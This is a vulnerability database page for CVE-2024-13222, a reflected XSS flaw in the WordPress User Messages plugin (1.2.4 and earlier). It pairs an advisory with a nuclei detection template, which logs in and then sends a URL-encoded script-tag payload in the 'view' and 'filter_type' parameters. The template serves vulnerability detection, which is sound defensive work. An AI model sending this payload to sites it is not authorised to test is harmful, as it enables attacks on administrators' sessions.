HexBrain

Browse / CVEs / CVE-2024-13222

CVE-2024-13222· CWE-79

WordPress User Messages <= 1.2.4 - Reflected XSS

mediumseverity
6.1CVSS score
0.6%likelihood of exploitation, next 30 days
49%of all CVEs are less likely
Readycheck to confirm it

WordPress User Messages plugin <= 1.2.4 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.

Impact

Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.

Fix

Update to the latest version of the plugin where the vulnerability is fixed.

How to confirm it

Send: POST /wp-login.php
Positive when: status_code == 302 and contains(header, "wordpress_logged_in")
Send: GET /wp-admin/admin.php?page=user-messages&view=um-show-message-view%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter_type=testxss%22%3E%3Cscript%3Ealert%28…
Positive when: status_code == 200 and contains_all(body, "><script>alert(document.domain)</script>", "user-messages")

Run it with nuclei: nuclei -id CVE-2024-13222 -u <target>

The full check
id: CVE-2024-13222

info:
  name: WordPress User Messages <= 1.2.4 - Reflected XSS
  author: Sourabh-Sahu
  severity: medium
  description: |
    WordPress User Messages plugin <= 1.2.4 contains a reflected cross-site scripting caused by lack of sanitization and escaping of a parameter before outputting it in the page, letting attackers execute malicious scripts in the context of high privilege users, exploit requires victim to load a maliciously crafted URL.
  impact: |
    Attackers can execute malicious scripts in the context of high privilege users, potentially leading to session hijacking or privilege escalation.
  remediation: |
    Update to the latest version of the plugin where the vulnerability is fixed.
  reference:
    - https://wpscan.com/vulnerability/069e1f81-448d-4d27-b288-87111dade2f2/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-13222
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2024-13222
    cwe-id: CWE-79
    epss-score: 0.00599
    epss-percentile: 0.4903
    cpe: cpe:2.3:a:marvinlabs:user_messages:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    publicwww-query: "/plugins/user-messages/"
  tags: cve,cve2024,wordpress,wp,wp-plugin,xss,marvinlabs,user-messages,authenticated

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /wp-login.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1

    matchers:
      - type: dsl
        dsl:
          - status_code == 302
          - contains(header, "wordpress_logged_in")
        condition: and
        internal: true

  - raw:
      - |
        GET /wp-admin/admin.php?page=user-messages&view=um-show-message-view%22%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&filter_type=testxss%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - status_code == 200
          - contains_all(body, "><script>alert(document.domain)</script>", "user-messages")
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from